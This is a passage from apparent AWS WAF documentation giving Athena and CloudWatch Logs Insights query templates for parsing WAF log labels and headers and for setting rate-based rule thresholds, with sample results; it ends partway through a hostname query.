Querying and Visualizing WAF Logs
This section of the guide focuses on explaining the why behind each approach so you can make informed decisions — but ultimately provides practical recommendations throughout if you just need a clear path to follow without the background context. In many cases, you already have an established approach for observability, and this guide will simply help you operate that system and understand how to consume WAF log data.
Effective WAF monitoring requires two things:
The ability to query your logs and the ability to visualize trends through dashboards. The native AWS WAF dashboard provides a quick operational view and works well for smaller teams or single-application deployments where CloudWatch Logs is the log destination. For customers that do not use CloudWatch Logs, or work with more than a handful of applications, you can either send WAF logs to an existing observability platform or use AWS native services to query and visualize WAF log data. In general, match your WAF monitoring to whatever your team already does for observability.
The second half of this guide focuses on getting value out of those logs through queries. We start with comprehensive "super queries" that fully parse WAF log fields — including nested rule group evaluations, labels, request headers, and terminating rule details — into a structured, usable format. These queries are designed as robust starting points you can trim down. From there, we cover focused queries for common operational use cases: evaluating AWS Managed Rules impact before switching from Count to Block, determining appropriate thresholds for rate-based rules, and identifying patterns to scope well-designed false positive exceptions.
Comprehensive Starting Queries
The queries in this section are intentionally large and comprehensive. The objective is to provide a template you can build most queries from by uncommenting and deleting what you don't need. The parsing and SQL logic to extract values from WAF logs and multiple common examples of how to do things like count by is already done so you can focus on what you need, not how to write the query itself.
Many of the columns in these queries parse AWS Managed Rule (AMR) labels. Labels are only present in a log record if the corresponding managed rule group is attached to your protection pack and the rule evaluated the request. For example, if you do not have Bot Control (Common) in your protection pack, the verified/unverified labels will never appear and those columns will return null. Similarly, a rule that does not match a given request will not emit a label for that request — a null value means the label was not applied, not that something is broken.
Athena
Ensure the Athena database and table match what you created.
SELECT
from_unixtime(timestamp / 1000) AS log_time,
-- bin by 1 minute intervals
-- date_trunc('minute', from_unixtime(timestamp / 1000)) AS time_bucket,
-- bin by 5 minute intervals
-- rom_unixtime((timestamp / 1000) - ((timestamp / 1000) % 300)) AS time_bucket,
-- bin by 1 day intervals
-- date_trunc('day', from_unixtime(timestamp / 1000)) AS time_bucket,
httprequest.clientip AS clientIp,
httprequest.country AS country,
action,
terminatingruleid,
-- terminatingruletype,
-- terminatingrulematchdetails,
-- nonterminatingmatchingrules,
-- ja3fingerprint,
-- ja4fingerprint,
httprequest.httpmethod AS httpMethod,
-- Extract host header
element_at(filter(httprequest.headers, h -> lower(h.name) = 'host'), 1).value AS host,
httprequest.uri AS uri,
httprequest.args AS args,
-- httprequest.httpversion AS httpVersion,
httprequest.requestid AS requestId,
-- User-Agent header
element_at(filter(httprequest.headers, h -> lower(h.name) = 'user-agent'), 1).value AS userAgent,
-- Token status label
element_at(split(element_at(filter(labels, l -> l.name LIKE 'awswaf:managed:token:%' AND l.name NOT LIKE 'awswaf:managed:token:fingerprint:%'), 1).name, ':'), -1) AS tokenStatus,
-- Amazon IP list label
element_at(split(element_at(filter(labels, l -> l.name LIKE 'awswaf:managed:aws:amazon-ip-list:%'), 1).name, ':'), -1) AS amazonIpList,
-- Anonymous IP list label
element_at(split(element_at(filter(labels, l -> l.name LIKE 'awswaf:managed:aws:anonymous-ip-list:%'), 1).name, ':'), -1) AS anonymousIpList
-- Geo region label
-- ,element_at(split(element_at(filter(labels, l -> l.name LIKE 'awswaf:clientip:geo:region:%'), 1).name, ':'), -1) AS isoRegion
-- CAPTCHA token status
-- ,element_at(split(element_at(filter(labels, l -> l.name LIKE 'awswaf:managed:captcha:%'), 1).name, ':'), -1) AS captchaTokenStatus
-- Anti-DDoS labels
-- ,CASE WHEN cardinality(filter(labels, l -> l.name = 'awswaf:managed:aws:anti-ddos:event-detected')) > 0 THEN true ELSE false END AS antiDdosActiveEvent
-- ,CASE WHEN cardinality(filter(labels, l -> l.name = 'awswaf:managed:aws:anti-ddos:challengeable-request')) > 0 THEN true ELSE false END AS antiDdosIsChallengeable
-- ,element_at(split(element_at(filter(labels, l -> l.name LIKE 'awswaf:managed:aws:anti-ddos:%-suspicion-ddos-request'), 1).name, ':'), -1) AS ddosSuspicion
-- Core Rule Set label
-- ,element_at(split(element_at(filter(labels, l -> l.name LIKE 'awswaf:managed:aws:core-rule-set:%'), 1).name, ':'), -1) AS coreRuleSet
-- Admin Protection label
-- ,element_at(split(element_at(filter(labels, l -> l.name LIKE 'awswaf:managed:aws:admin-protection:%'), 1).name, ':'), -1) AS adminProtection
-- Known Bad Inputs label
-- ,element_at(split(element_at(filter(labels, l -> l.name LIKE 'awswaf:managed:aws:known-bad-inputs:%'), 1).name, ':'), -1) AS knownBadInputs
-- SQL Database label
-- ,element_at(split(element_at(filter(labels, l -> l.name LIKE 'awswaf:managed:aws:sql-database:%'), 1).name, ':'), -1) AS sqlDatabase
-- Linux OS label
-- ,element_at(split(element_at(filter(labels, l -> l.name LIKE 'awswaf:managed:aws:linux-os:%'), 1).name, ':'), -1) AS linuxOs
-- POSIX OS label
-- ,element_at(split(element_at(filter(labels, l -> l.name LIKE 'awswaf:managed:aws:posixos:%'), 1).name, ':'), -1) AS posixOs
-- Windows OS label
-- ,element_at(split(element_at(filter(labels, l -> l.name LIKE 'awswaf:managed:aws:windows-os:%'), 1).name, ':'), -1) AS windowsOs
-- PHP App label
-- ,element_at(split(element_at(filter(labels, l -> l.name LIKE 'awswaf:managed:aws:php-app:%'), 1).name, ':'), -1) AS phpApp
-- WordPress App label
-- ,element_at(split(element_at(filter(labels, l -> l.name LIKE 'awswaf:managed:aws:wordpress-app:%'), 1).name, ':'), -1) AS wordpressApp
-- Token Fingerprint label
-- ,element_at(split(element_at(filter(labels, l -> l.name LIKE 'awswaf:managed:token:fingerprint:%'), 1).name, ':'), -1) AS tokenFingerprint
-- ACFP label
-- ,element_at(split(element_at(filter(labels, l -> l.name LIKE 'awswaf:managed:aws:acfp%'), 1).name, ':'), -1) AS acfp
-- ATP label
-- ,element_at(split(element_at(filter(labels, l -> l.name LIKE 'awswaf:managed:aws:atp:%'), 1).name, ':'), -1) AS atp
-- Bot Control labels
-- ,element_at(split(element_at(filter(labels, l -> l.name LIKE 'awswaf:managed:aws:bot-control:bot:name:%'), 1).name, ':'), -1) AS botName
-- ,element_at(split(element_at(filter(labels, l -> l.name LIKE 'awswaf:managed:aws:bot-control:bot:category:%'), 1).name, ':'), -1) AS botCategory
-- ,element_at(split(element_at(filter(labels, l -> l.name LIKE 'awswaf:managed:aws:bot-control:bot:signal:%'), 1).name, ':'), -1) AS botSignal
-- ,element_at(split(element_at(filter(labels, l -> l.name LIKE 'awswaf:managed:aws:bot-control:bot:account:%'), 1).name, ':'), -1) AS botAccount
-- ,element_at(split(element_at(filter(labels, l -> l.name LIKE 'awswaf:managed:aws:bot-control:bot:web_bot_auth:%'), 1).name, ':'), -1) AS webBotAuthStatus
-- ,element_at(split(element_at(filter(labels, l -> l.name LIKE 'awswaf:managed:aws:bot-control:bot:organization:%'), 1).name, ':'), -1) AS botOrganization
-- ,element_at(split(element_at(filter(labels, l -> l.name LIKE 'awswaf:managed:aws:bot-control:bot:vendor:%'), 1).name, ':'), -1) AS botVendor
-- ,element_at(split(element_at(filter(labels, l -> l.name LIKE 'awswaf:managed:aws:bot-control:bot:targeted:aggregate:%'), 1).name, ':'), -1) AS botTargetedAggregate
-- ,element_at(split(element_at(filter(labels, l -> l.name LIKE 'awswaf:managed:aws:bot-control:bot:targeted:signal:%'), 1).name, ':'), -1) AS botTargetedSignal
-- ,element_at(split(element_at(filter(labels, l -> l.name LIKE 'awswaf:managed:aws:bot-control:TGT_:%'), 1).name, ':'), -1) AS botTGT
-- Bot verified status (boolean-style)
-- ,CASE
-- WHEN cardinality(filter(labels, l -> l.name = 'awswaf:managed:aws:bot-control:bot:verified')) > 0 THEN 'verified'
-- WHEN cardinality(filter(labels, l -> l.name = 'awswaf:managed:aws:bot-control:bot:unverified')) > 0 THEN 'unverified'
-- ELSE 'notBot'
-- END AS botVerified
FROM waf_logs
WHERE
-- NOTE: Athena WHERE clause cannot use SELECT aliases (e.g. "clientIp").
-- You must use the full column path (e.g. httprequest.clientip) in all WHERE conditions.
-- For headers and labels, use the same filter() syntax shown in SELECT.
-- Time range filter (timestamp column is epoch milliseconds; use to_unixtime to convert a readable date)
-- Option 1: Specific date range
-- timestamp >= to_unixtime(TIMESTAMP '2026-06-25 00:00:00') * 1000
-- AND timestamp < to_unixtime(TIMESTAMP '2026-06-26 00:00:00') * 1000
-- Option 2: Relative time (last 7 days from now)
timestamp >= to_unixtime(current_timestamp - interval '7' day) * 1000
-- AND action = 'ALLOW'
-- AND action = 'BLOCK'
-- AND httprequest.clientip = '192.0.2.1'
-- AND httprequest.clientip IN ('192.0.2.1', '198.51.100.10', '203.0.113.50')
-- AND httprequest.country = 'US'
-- AND httprequest.country NOT IN ('CN', 'RU', 'KP', 'IR')
-- AND httprequest.uri LIKE '/api/%'
-- AND element_at(filter(httprequest.headers, h -> lower(h.name) = 'host'), 1).value = 'api.example.com'
-- AND terminatingruleid = 'AWS-AWSManagedRulesCommonRuleSet'
-- AND cardinality(filter(labels, l -> l.name LIKE 'awswaf:managed:aws:bot-control:%')) > 0
-- AND cardinality(filter(labels, l -> l.name LIKE 'awswaf:managed:aws:core-rule-set:%')) > 0
ORDER BY timestamp DESC
-- GROUP BY is useful to identify patterns and frequency. Use with aggregate functions like count(*), date_trunc
-- GROUP by source IP and time, add other columns here and in select to get more granuarlity, e.g. action, uri, user-agent
-- GROUP BY httprequest.clientip, date_trunc('minute', from_unixtime(timestamp / 1000))
-- GROUP by HTTP Method, then HOST, then URI
-- GROUP BY httprequest.httpMethod, element_at(filter(httprequest.headers, h -> lower(h.name) = 'host'), 1).value, httprequest.uri
LIMIT 1000
Amazon CloudWatch Log Analytics
You need to set the source (line 1) ARN to your actual cloudwatch log group ARN.
SOURCE "<arn:aws:logs:us-east-1:111111111111:log-group:aws-waf-logs-<log_group_name>" START=-3600s END=0s |
fields @timestamp,
# bin by 1 minute intervals
#bin(1m) as binTime,
# bin by 5 minute intervals
#bin(5m) as binTime,
# bin by 1 day intervals
#bin(1d) as binTime,
httpRequest.clientIp as clientIp,
httpRequest.country as country,
action,
terminatingRuleId,
#terminatingRuleType,
#terminatingRuleMatchDetails,
#nonTerminatingMatchingRules,
#ja3Fingerprint,
#ja4Fingerprint,
httpRequest.httpMethod as httpMethod,
httpRequest.host as host,
httpRequest.uri as uri,
httpRequest.args as args,
#httpRequest.scheme as scheme,
httpRequest.requestId as requestId
# Additional common fields
#if(strcontains(@message, "awswaf:managed:aws:anti-ddos:challengeable-request") = 1, "true", "false") as antiDdosIschallengable,
| parse @message /\"name\":\s*\"User-Agent\",\s*\"value\":\s*\"(?<userAgent>[^"]*)\"/
| parse @message /\"name\":\s*\"awswaf:managed:token:(?<tokenStatus>[^"]*)\"/
| parse @message /\"name\":\s*\"awswaf:managed:aws:amazon-ip-list:(?<amazonIpList>[^"]*)\"/
| parse @message /\"name\":\s*\"awswaf:managed:aws:anonymous-ip-list:(?<anonymousIpList>[^"]*)\"/
# Additional fields via message Parse
#| parse @message /\"name\":\s*\"awswaf:clientip:geo:region:(?<isoRegion>[^"]*)\"/
#| parse @message /\"name\":\s*\"awswaf:managed:captcha:(?<captchaTokenStatus>[^"]*)\"/
# Amazaon Managed Rule Label fields. Mix of boolean and label values
#if(strcontains(@message, "awswaf:managed:aws:anti-ddos:event-detected") = 1, "true", "false") as antiDdosActiveEvent,
#if(strcontains(@message, "awswaf:managed:aws:bot-control:bot:verified") = 1, "verified", if(strcontains(@message, "awswaf:managed:aws:bot-control:bot:unverified") = 1, "unverified", "notBot")) as botVerified
#| parse @message /\"name\":\s*\"awswaf:managed:aws:core-rule-set:(?<coreRuleSet>[^"]*)\"/
#| parse @message /\"name\":\s*\"awswaf:managed:aws:anti-ddos:(?<ddosSuspicion>[^"]*)-suspicion-ddos-request\"/
#| parse @message /\"name\":\s*\"awswaf:managed:aws:anti-ddos:ddos-request(?<ddosRequest>[^"]*)\"/
#| parse @message /\"name\":\s*\"awswaf:managed:aws:admin-protection:(?<adminProtection>[^"]*)\"/
#| parse @message /\"name\":\s*\"awswaf:managed:aws:known-bad-inputs:(?<knownBadInputs>[^"]*)\"/
#| parse @message /\"name\":\s*\"awswaf:managed:aws:sql-database:(?<sqlDatabase>[^"]*)\"/
#| parse @message /\"name\":\s*\"awswaf:managed:aws:linux-os:(?<linuxOs>[^"]*)\"/
#| parse @message /\"name\":\s*\"awswaf:managed:aws:posixos:(?<posixOs>[^"]*)\"/
#| parse @message /\"name\":\s*\"awswaf:managed:aws:windows-os:(?<windowsOs>[^"]*)\"/
#| parse @message /\"name\":\s*\"awswaf:managed:aws:php-app:(?<phpApp>[^"]*)\"/
#| parse @message /\"name\":\s*\"awswaf:managed:aws:wordpress-app:(?<wordpressApp>[^"]*)\"/
#| parse @message /\"name\":\s*\"awswaf:managed:token:fingerprint:(?<tokenFingerprint>[^"]*)\"/
#| parse @message /\"name\":\s*\"awswaf:managed:aws:acfp(?<acfp>[^"]*)\"/
#| parse @message /\"name\":\s*\"awswaf:managed:aws:atp:(?<atp>[^"]*)\"/
#| parse @message /\"name\":\s*\"awswaf:managed:aws:bot-control:bot:name:(?<botName>[^"]*)\"/
#| parse @message /\"name\":\s*\"awswaf:managed:aws:bot-control:bot:category:(?<botCategory>[^"]*)\"/
#| parse @message /\"name\":\s*\"awswaf:managed:aws:bot-control:bot:signal:(?<botSignal>[^"]*)\"/
#| parse @message /\"name\":\s*\"awswaf:managed:aws:bot-control:bot:account:(?<botAccount>[^"]*)\"/
#| parse @message /\"name\":\s*\"awswaf:managed:aws:bot-control:bot:web_bot_auth:(?<webBotAuthStatus>[^"]*)\"/
#| parse @message /\"name\":\s*\"awswaf:managed:aws:bot-control:bot:organization:(?<botOrganization>[^"]*)\"/
#| parse @message /\"name\":\s*\"awswaf:managed:aws:bot-control:bot:vendor:(?<botVendor>[^"]*)\"/
#| parse @message /\"name\":\s*\"awswaf:managed:aws:bot-control:bot:targeted:aggregate:(?<botTargetedAggregate>[^"]*)\"/
#| parse @message /\"name\":\s*\"awswaf:managed:aws:bot-control:bot:targeted:signal:(?<botTargetedSignal>[^"]*)\"/
#| parse @message /\"name\":\s*\"awswaf:managed:aws:bot-control:TGT_:(?<botTGT>[^"]*)\"/
#| display clientIp, country, isoRegion, httpMethod, scheme, host, uri, args, action, userAgent, tokenStatus, amazonIpList, coreRuleSet, ddosSuspicion, antiDdosIschallengable,antiDdosActiveEvent, botVerified
# Common filter examples (uncomment and adjust values as needed)
# Filter by specific source IPs
#| filter clientIp in ["192.0.2.1", "198.51.100.10", "203.0.113.50"]
# Filter by host header
#| filter host = "api.example.com"
#| filter host like /.*\.example\.com/
# Exclude specific countries (e.g. keep only traffic NOT from these countries)
#| filter country not in ["CN", "RU", "KP", "IR"]
# Filter by label presence (using strcontains on the raw message)
#| filter strcontains(@message, "awswaf:managed:aws:core-rule-set:")
#| filter strcontains(@message, "awswaf:managed:aws:bot-control:bot:name:")
# Filter by action
#| filter action = "BLOCK"
#| filter action = "ALLOW"
# Group by is useful to identify patterns and frequency. You use group by with some stat, e.g. bin(5m), count(*)
# group by clientIp, binTime
| sort @timestamp desc
Evaluating AWS WAF Rules Through Log Queries
This section provides ready-to-use queries to help you evaluate rate-based rules and AWS Managed Rules in Count mode before switching them to Block/enforcement. Each query targets a real decision you need to make — what threshold to set, whether a rule is safe to enforce, or what you need to scope as exceptions. For the most part, you can simply copy the query, adjust the time range and table name/log group arn, and run it.
For general-purpose Athena query examples against WAF logs, see Querying AWS WAF logs in the Athena documentation.
Rate-based rules: Identifying the right threshold
Rate-based rules block or count requests based on some single or composite key that exceed a threshold within the configured evaluation window. To choose the right threshold, you need to understand what your application(s) usually experience.
The queries below show your existing traffic rates to determine appropriate thresholds based on historical traffic. Start with the general source IP query to understand your overall request distribution, there are a number of other useful and common rate based rules to consider with example queries specific to these common examples.
In the examples below, we bin/date_trunc into 5-minute windows, ensure the query's bin/date_trunc matches the evaluation window you intend to use in your actual rate based rules.
Once you have query results showing your traffic patterns, see Choosing a threshold for guidance on how to translate those numbers into an appropriate rate-based rule configuration.
General: requests per source IP
This query shows the top source IPs by request count in 5-minute windows. Use this to understand your baseline traffic distribution and identify what a reasonable overall rate limit would be.
Athena
SELECT
date_trunc('minute', from_unixtime(timestamp / 1000)) AS time_bucket,
httprequest.clientip AS clientIp,
httprequest.country AS country,
count(*) AS request_count
FROM waf_logs
WHERE
timestamp >= to_unixtime(current_timestamp - interval '7' day) * 1000
GROUP BY
date_trunc('minute', from_unixtime(timestamp / 1000)),
httprequest.clientip,
httprequest.country
ORDER BY request_count DESC
LIMIT 100
CloudWatch Log Insights
SOURCE "<arn:aws:logs:us-east-1:111111111111:log-group:aws-waf-logs-<log_group_name>" START=-3600s END=0s |
fields @timestamp,
bin(5m) as binTime,
httpRequest.clientIp as clientIp,
httpRequest.country as country,
action
| stats count(*) as request_count by clientIp, country, binTime
| sort request_count desc
| limit 100
Example output
| time_bucket | clientIp | country | request_count |
|---|---|---|---|
| 2026-07-26 14:35:00.000 | 192.0.2.17 | CN | 8,742 |
| 2026-07-28 03:10:00.000 | 203.0.113.44 | RU | 7,219 |
| 2026-07-25 22:50:00.000 | 192.51.100.88 | VN | 6,531 |
| 2026-07-27 09:05:00.000 | 192.0.2.203 | BR | 5,104 |
| 2026-07-29 16:20:00.000 | 203.0.113.12 | US | 548 |
| 2026-07-26 08:45:00.000 | 192.51.100.34 | US | 543 |
| 2026-07-30 11:30:00.000 | 192.0.2.91 | US | 539 |
| 2026-07-25 19:15:00.000 | 203.0.113.77 | CA | 536 |
| 2026-07-28 07:40:00.000 | 192.51.100.142 | US | 531 |
| 2026-07-27 13:55:00.000 | 192.0.2.56 | US | 528 |
| 2026-07-29 22:10:00.000 | 203.0.113.201 | MX | 525 |
| 2026-07-26 04:25:00.000 | 192.51.100.7 | DE | 522 |
| 2026-07-30 09:50:00.000 | 192.0.2.164 | CA | 519 |
| 2026-07-25 15:05:00.000 | 203.0.113.158 | US | 517 |
| 2026-07-28 20:30:00.000 | 192.51.100.219 | US | 514 |
| 2026-07-27 06:15:00.000 | 192.0.2.38 | GB | 511 |
| 2026-07-29 12:40:00.000 | 203.0.113.93 | US | 509 |
| 2026-07-26 18:00:00.000 | 192.51.100.61 | US | 506 |
| 2026-07-30 01:25:00.000 | 192.0.2.127 | DE | 503 |
| 2026-07-25 10:50:00.000 | 203.0.113.180 | US | 501 |
How to read these results
The results above are an example subset of what you might actually see. Looking at these results, the first 4 rows have values well above everything else, while the remaining rows show that 500–550 appears to be the typical peak. In a real scenario, you would want to review more rows to validate that 500–550 really is the peak request rate per 5-minute bin. You might also want to spot-check the 4 IPs with well-above-typical values to ensure they are not a unique system (an internal use case, a specific large client, etc). Assuming that review does not reveal anything unexpected, it would be a reasonable starting point to assume the most active legitimate source sends 500–550 requests per 5-minute window. Once you have that baseline, use the Choosing a threshold guidance to translate that value into an appropriate rate-based rule configuration.
Scoping to a specific path — To protect sensitive or expensive endpoints (e.g., file uploads, form submissions, API mutations) where you want a much tighter rate limit than a global threshold, add a URI path and HTTP method filter. This narrows the query to only count requests hitting that endpoint, so you can set appropriate per-endpoint thresholds. Adjust the URI path and method to match your use case.
Athena
SELECT
date_trunc('minute', from_unixtime(timestamp / 1000)) AS time_bucket,
httprequest.clientip AS clientIp,
httprequest.country AS country,
httprequest.uri AS uri,
httprequest.httpmethod AS httpMethod,
count(*) AS request_count
FROM waf_logs
WHERE
timestamp >= to_unixtime(current_timestamp - interval '7' day) * 1000
AND action = 'ALLOW'
AND httprequest.uri LIKE '/upload%'
AND httprequest.httpmethod = 'POST'
GROUP BY
date_trunc('minute', from_unixtime(timestamp / 1000)),
httprequest.clientip,
httprequest.country,
httprequest.uri,
httprequest.httpmethod
ORDER BY request_count DESC
LIMIT 100
CloudWatch Log Insights
SOURCE "<arn:aws:logs:us-east-1:111111111111:log-group:aws-waf-logs-<log_group_name>" START=-604800s END=0s |
fields @timestamp,
bin(5m) as binTime,
httpRequest.clientIp as clientIp,
httpRequest.country as country,
httpRequest.uri as uri,
httpRequest.httpMethod as httpMethod,
action
| filter action = "ALLOW"
| filter uri like /^\/upload/
| filter httpMethod = "POST"
| stats count(*) as request_count by clientIp, country, binTime
| sort request_count desc
| limit 100
Example output
| time_bucket | clientIp | country | uri | httpMethod | request_count |
|---|---|---|---|---|---|
| 2026-07-26 09:15:00.000 | 192.0.2.41 | US | /upload | POST | 35 |
| 2026-07-28 14:30:00.000 | 203.0.113.92 | US | /upload | POST | 34 |
| 2026-07-27 03:45:00.000 | 192.51.100.18 | US | /upload | POST | 33 |
| 2026-07-29 17:20:00.000 | 192.0.2.156 | CA | /upload | POST | 33 |
| 2026-07-25 22:05:00.000 | 203.0.113.27 | US | /upload | POST | 32 |
| 2026-07-30 06:40:00.000 | 192.51.100.203 | US | /upload | POST | 31 |
| 2026-07-26 19:55:00.000 | 192.0.2.88 | US | /upload | POST | 31 |
| 2026-07-28 08:10:00.000 | 203.0.113.145 | MX | /upload | POST | 30 |
| 2026-07-27 12:25:00.000 | 192.51.100.67 | US | /upload | POST | 30 |
| 2026-07-29 21:50:00.000 | 192.0.2.214 | US | /upload | POST | 29 |
| 2026-07-25 16:35:00.000 | 203.0.113.58 | US | /upload | POST | 29 |
| 2026-07-30 02:00:00.000 | 192.51.100.129 | CA | /upload | POST | 28 |
| 2026-07-26 13:15:00.000 | 192.0.2.73 | US | /upload | POST | 28 |
| 2026-07-28 20:40:00.000 | 203.0.113.186 | US | /upload | POST | 27 |
| 2026-07-27 07:55:00.000 | 192.51.100.44 | GB | /upload | POST | 27 |
| 2026-07-29 11:10:00.000 | 192.0.2.195 | US | /upload | POST | 26 |
| 2026-07-25 18:25:00.000 | 203.0.113.71 | US | /upload | POST | 26 |
| 2026-07-30 04:50:00.000 | 192.51.100.156 | DE | /upload | POST | 26 |
| 2026-07-26 23:05:00.000 | 192.0.2.32 | US | /upload | POST | 25 |
| 2026-07-28 15:30:00.000 | 203.0.113.119 | US | /upload | POST | 25 |
How to read these results
The results above show the same type of analysis as the general source IP query, but scoped to a specific endpoint (/upload via POST). The request counts here are much lower — 25–35 per 5-minute window — which is expected for a single endpoint compared to all traffic from an IP. This tells you the legitimate usage pattern for this endpoint is significantly tighter than your global rate, and you can set a much more restrictive per-endpoint threshold. In a real scenario, you would review more rows to confirm 25–35 is truly the peak for this path, and spot-check any outliers. Once you have that baseline, use the Choosing a threshold guidance to translate that value into an appropriate rate-based rule configuration scoped to this endpoint.
Composite key: source IP + cookie
Rate-based rules support composite keys that aggregate requests by multiple dimensions. Combining source IP with a cookie value (i.e. session) allows you to distinguish between multiple users behind the same IP (e.g. corporate NAT) . This is useful when you want to rate limit individual sessions rather than entire IP addresses.
The examples below extract the Cookie header value. You can use the AWS WAF token cookie (aws-waf-token) if you have integrated the client-side SDK or any custom session cookie your application sets — replace the cookie name in the regex to match your use case. Using the raw cookie header rather than the WAF token fingerprint label makes this approach portable to any cookie-based session identifier.
Athena
SELECT
date_trunc('minute', from_unixtime(timestamp / 1000)) AS time_bucket,
httprequest.clientip AS clientIp,
httprequest.country AS country,
-- Extract the aws-waf-token cookie value; replace cookie name for custom cookies
regexp_extract(element_at(filter(httprequest.headers, h -> lower(h.name) = 'cookie'), 1).value, 'aws-waf-token=([^;]+)', 1) AS sessionCookie,
count(*) AS request_count
FROM waf_logs
WHERE
timestamp >= to_unixtime(current_timestamp - interval '7' day) * 1000
AND action = 'ALLOW'
GROUP BY
date_trunc('minute', from_unixtime(timestamp / 1000)),
httprequest.clientip,
httprequest.country,
regexp_extract(element_at(filter(httprequest.headers, h -> lower(h.name) = 'cookie'), 1).value, 'aws-waf-token=([^;]+)', 1)
ORDER BY request_count DESC
LIMIT 100
CloudWatch Log Insights
SOURCE "<arn:aws:logs:us-east-1:111111111111:log-group:aws-waf-logs-<log_group_name>" START=-604800s END=0s |
fields @timestamp,
bin(5m) as binTime,
httpRequest.clientIp as clientIp,
httpRequest.country as country,
action
| parse @message /\"name\":\s*\"Cookie\",\s*\"value\":\s*\"[^"]*aws-waf-token=(?<sessionCookie>[^;"]*)/
| filter action = "ALLOW"
| stats count(*) as request_count by clientIp, sessionCookie, binTime
| sort request_count desc
| limit 100
Example output
| time_bucket | clientIp | country | sessionCookie | request_count |
|---|---|---|---|---|
| 2026-07-26 14:35:00.000 | 192.0.2.17 | US | aws-waf-token=a1b2c3d4-e5f6-7890-abcd-ef1234567890 | 312 |
| 2026-07-26 14:35:00.000 | 192.0.2.17 | US | aws-waf-token=b2c3d4e5-f6a7-8901-bcde-f12345678901 | 287 |
| 2026-07-26 14:35:00.000 | 192.0.2.17 | US | aws-waf-token=c3d4e5f6-a7b8-9012-cdef-012345678912 | 241 |
| 2026-07-28 03:10:00.000 | 203.0.113.44 | US | aws-waf-token=d4e5f6a7-b8c9-0123-defa-123456789023 | 298 |
| 2026-07-28 03:10:00.000 | 203.0.113.44 | US | aws-waf-token=e5f6a7b8-c9d0-1234-efab-234567890134 | 265 |
| 2026-07-27 09:05:00.000 | 192.51.100.88 | CA | aws-waf-token=f6a7b8c9-d0e1-2345-fabc-345678901245 | 276 |
| 2026-07-27 09:05:00.000 | 192.51.100.88 | CA | aws-waf-token=a7b8c9d0-e1f2-3456-abcd-456789012356 | 253 |
| 2026-07-27 09:05:00.000 | 192.51.100.88 | CA | aws-waf-token=b8c9d0e1-f2a3-4567-bcde-567890123467 | 219 |
| 2026-07-29 16:20:00.000 | 192.0.2.91 | US | aws-waf-token=c9d0e1f2-a3b4-5678-cdef-678901234578 | 245 |
| 2026-07-29 16:20:00.000 | 192.0.2.91 | US | aws-waf-token=d0e1f2a3-b4c5-6789-defa-789012345689 | 231 |
| 2026-07-25 22:50:00.000 | 203.0.113.12 | US | aws-waf-token=e1f2a3b4-c5d6-7890-efab-890123456790 | 238 |
| 2026-07-25 22:50:00.000 | 203.0.113.12 | US | aws-waf-token=f2a3b4c5-d6e7-8901-fabc-901234567801 | 214 |
| 2026-07-30 11:30:00.000 | 192.51.100.34 | DE | aws-waf-token=a3b4c5d6-e7f8-9012-abcd-012345678912 | 227 |
| 2026-07-30 11:30:00.000 | 192.51.100.34 | DE | aws-waf-token=b4c5d6e7-f8a9-0123-bcde-123456789023 | 198 |
| 2026-07-26 08:45:00.000 | 192.0.2.56 | US | aws-waf-token=c5d6e7f8-a9b0-1234-cdef-234567890134 | 211 |
| 2026-07-28 07:40:00.000 | 203.0.113.77 | GB | aws-waf-token=d6e7f8a9-b0c1-2345-defa-345678901245 | 204 |
| 2026-07-28 07:40:00.000 | 203.0.113.77 | GB | aws-waf-token=e7f8a9b0-c1d2-3456-efab-456789012356 | 187 |
| 2026-07-27 13:55:00.000 | 192.51.100.142 | US | aws-waf-token=f8a9b0c1-d2e3-4567-fabc-567890123467 | 195 |
| 2026-07-29 22:10:00.000 | 192.0.2.164 | US | aws-waf-token=a9b0c1d2-e3f4-5678-abcd-678901234578 | 189 |
| 2026-07-25 19:15:00.000 | 203.0.113.158 | US | aws-waf-token=b0c1d2e3-f4a5-6789-bcde-789012345689 | 182 |
How to read these results
The results above show per-session request counts rather than per-IP totals. Notice that 192.0.2.17 appears three times with different session cookies — each session sent 241–312 requests in the same 5-minute window. Without the composite key, that IP would aggregate to 840 requests instead of ~312 and require a threshold above 840 to avoid blocking legitimate users. In a real scenario, there might be dozens or even hundreds of clients behind the same IP using different sessions, which would push the IP-only aggregate far higher and force an impractically loose threshold. With the composite key, you can see that no single session exceeds ~312, allowing you to set a much tighter per-session threshold regardless of how many users share an IP. This is the key advantage of composite keys for IPs behind shared infrastructure (corporate NATs, VPNs, mobile carriers). Review more rows to confirm the per-session peak, then use the Choosing a threshold guidance to set your rate-based rule configuration.
Composite key: source IP + protection pack ARN
For central security or operations teams that aggregate WAF logs across an AWS Organization, this query shows request rates per source IP broken out by protection pack. Rate-based rules are evaluated per protection pack — a single end user hitting multiple applications owned by different teams counts separately against each protection pack's rate limit. Understanding request rates per protection pack helps you set appropriate thresholds when deploying rate-based rules centrally (e.g. via Firewall Manager). It also makes it possible to identify outliers where a few applications may need a significantly higher threshold while most can use a lower, more restrictive value.
Athena
SELECT
date_trunc('minute', from_unixtime(timestamp / 1000)) AS time_bucket,
count(*) AS request_count,
httprequest.clientip AS clientIp,
httprequest.country AS country,
webaclid
FROM waf_logs
WHERE
timestamp >= to_unixtime(current_timestamp - interval '7' day) * 1000
AND action = 'ALLOW'
GROUP BY
date_trunc('minute', from_unixtime(timestamp / 1000)),
httprequest.clientip,
httprequest.country,
webaclid
ORDER BY request_count DESC
LIMIT 100
CloudWatch Log Insights
SOURCE "<arn:aws:logs:us-east-1:111111111111:log-group:aws-waf-logs-<log_group_name>" START=-604800s END=0s |
fields @timestamp,
bin(5m) as binTime,
httpRequest.clientIp as clientIp,
httpRequest.country as country,
webaclId,
action
| filter action = "ALLOW"
| stats count(*) as request_count by clientIp, webaclId, binTime
| sort request_count desc
| limit 100
Example output
| time_bucket | request_count | clientIp | country | webaclid |
|---|---|---|---|---|
How to read these results
Composite key: source IP + hostname
This query aggregates by source IP and the host header — another way to break down traffic per application, similar to the protection pack ARN approach above. In some cases these achieve the same thing (one protection pack per application); in others the hostname gives you finer granularity (multiple hostnames behind a single protection pack) or the protection pack gives you better coverage (multiple hostnames that should be treated as one application). Neither is better or worse — they are options depending on your architecture. You can use the results to create different rate limit buckets for different use cases — an API endpoint might tolerate a much higher threshold than a static marketing site. This is also useful for application teams who need to understand their own traffic patterns when multiple applications share infrastructure behind a single protection pack.
Athena
SELECT
date_trunc('minute', from_unixtime(timestamp / 1000)) AS time_bucket,
httprequest.clientip AS clientIp,
httprequest.country AS country,
element_at(filter(httprequest.headers, h -> lower(h.name) = 'host'), 1).value AS host,
count(*) AS request_count
FROM waf_logs
WHERE
